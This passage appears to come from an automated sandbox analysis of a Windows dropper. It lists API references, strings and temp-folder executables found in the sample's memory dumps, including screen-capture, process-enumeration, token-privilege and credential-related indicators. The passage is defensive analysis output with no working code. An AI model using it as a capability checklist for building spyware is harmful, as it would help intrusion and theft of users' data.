00000000-00004000) "bJ1qg86.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00003808) "bJ1qg86.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003808) "bJ1qg86.exe" called "FindNextFileW" with parameter 12hz690.exe (UID: 00000000-00003808) "bJ1qg86.exe" called "FindNextFileW" with parameter Ac8sp85.exe (UID: 00000000-00003808) "Ac8sp85.exe" called "FindFirstFileW" with parameter %TEMP%\IXP002.TMP\*.* (UID: 00000000-00004008) "Ac8sp85.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004008) "Ac8sp85.exe" called "FindNextFileW" with parameter 10IO12so.exe (UID: 00000000-00004008) "Ac8sp85.exe" called "FindNextFileW" with parameter 11GY8714.exe (UID: 00000000-00004008)6a:Tcf1,file/memory contains long string with (Indicator: "aes"; File: "SSL") Found string "FromBase64" (Indicator: "base64"; File: "00003964.00000F7C.12682817.00402000.wprm") Found string "AesGcm256" (Indicator: "aes"; File: "00003964.00000F7C.12682817.00402000.wprm") Found string "AesFastEngine" (Indicator: "aes"; File: "00003964.00000F7C.12682817.00402000.wprm") Found string "FromBase64String" (Indicator: "base64"; File: "00003964.00000F7C.12682817.00402000.wprm") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "00003964.00000F7C.12682817.00402000.wprm") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; File: "00003964.00000F7C.12682817.00402000.wprm") Found string "base64str" (Indicator: "base64"; File: "00003964.00000F7C.12682817.00402000.wprm") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; File: "00003964.00000F7C.12682817.00402000.wprm") Found string "FromBase64CharArray" (Indicator: "base64"; File: "00003964.00000F7C.12682817.00402000.wprm") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "00003964.00000F7C.12682817.00402000.wprm") file/memory contains long string with (Indicator: "base64"; File: "identifier_1_.htm") file/memory contains long string with (Indicator: "base64"; File: "identifier_2_.htm") Found string "system.security.cryptography.csp.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp") Found string "system.io.compression.zipfile.dll" (Indicator: "zipfile"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp") Found string "system.security.cryptography.csp.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found string "system.io.compression.zipfile.dll" (Indicator: "zipfile"; Source: "00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found string "FromBase64" (Indicator: "base64"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found string "AesGcm256" (Indicator: "aes"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found string "AesFastEngine" (Indicator: "aes"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found string "FromBase64String" (Indicator: "base64"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found string "FromBase64String" (Indicator: "FromBase64String"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found string "base64str" (Indicator: "base64"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found string "FromBase64CharArray" (Indicator: "base64"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp")6b:Tbfa,Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetDC" (Indicator: "GetDC"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to API "GetDCEx" (Indicator: "GetDC"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "CreateDCW" (Indicator: "CreateDC"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "CreateDCW" (Indicator: "CreateDC"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")6c:T70b,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")6d:T1154,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp, 00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")6e:T50d,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "RegEnumValueW" (Indicator: "RegEnumValue"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")6f:T6c9,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")70:T456,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")71:Tdab,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "FtpGetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")72:T446,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetUserObjectSecurity" (Indicator: "GetUserObjectSecurity"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")73:T133c,Found string "ZIndicates if the text in the edit control should appear as the default password character." (Indicator: "password"; File: "00003964.00000F7C.12682817.00402000.wprm") Found string "ZIndicates if the text in the edit control should appear as the default password character." (Indicator: "password"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found string "No Caps LockHCaps Lock is on, which may cause you to enter your password incorrectly." (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") file/memory contains long string with (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "Use Internet connection: {0}/Dial-up or broadband with username and password" (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "Select Your Connection}Select your connection from the list. The connection must have a saved user name and password, and be available to all users." (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "Enter Your Dial-Up PassworddEnter the password for the connection you selected. You must use the keyboard to enter the password.P" (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "Confirm Password5These passwords do not match. Re-enter the passwords./Manually Download the TV Program Guide listings" (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "Windows Media Center requires an Internet connection with a saved password for all users to automatically download TV Program Guide listings." (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "This feature is not compatible with password-protected screen savers. To use this feature, disable the password protection on your Windows screen saver." (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "password" (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "Username or password error" (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "The username or password entered does not appear to be correct. Verify that the username and password are valid for the shared folder on the other computer.P" (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "No username entered0A password cannot be entered without a username." (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "Remember my password" (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") file/memory contains long string with (Indicator: "secret"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "Windows Media Center is unable to connect to the internet. Please check your username and password for your default Internet connection.%0" (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "Windows Update was unable to connect to proxy server %1 because valid credentials (user name and password) were required, but were either not available or were incorrect. Please check your proxy credentials, and then try searching again for updates." (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "Ask for password (NTLM)P" (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "You have chosen to make this site available offline and add it to your Active Desktop interface. If this site needs a password, please choose Customize and enter it." (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "Type your user name and password for this site." (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "If the site requires a user name and password:" (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "This channel requires a user name and password before you can download its content. You should have received this information from the content provider." (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "&Yes, my user name and password are:" (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp") Found string "Does this site require a password?" (Indicator: "password"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp")74:Tff7,Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp") Found string "indows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP002.TMP\11GY8714.exe" (Indicator: "\Device\"; Source: "00000000-00000452.00000000.68550.00360000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002296.00000000.69086.00360000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002296.00000000.69086.00360000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002296.00000000.69086.00360000.00000004.mdmp, 00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002296.00000000.69086.00360000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00002296.00000000.69086.00360000.00000004.mdmp, 00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002296.00000000.69086.00360000.00000004.mdmp") Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found string "indows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP001.TMP\12hz690.exe" (Indicator: "\Device\"; Source: "00000000-00002296.00000001.70024.00360000.00000004.mdmp") Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002500.00000001.72275.00330000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002500.00000001.72275.00330000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002500.00000001.72275.00330000.00000004.mdmp") Found string "indows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002500.00000001.72275.00330000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00002500.00000001.72275.00330000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002500.00000001.72275.00330000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP000.TMP\13Ef605.exe" (Indicator: "\Device\"; Source: "00000000-00002500.00000001.72275.00330000.00000004.mdmp")75:T5f4,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API 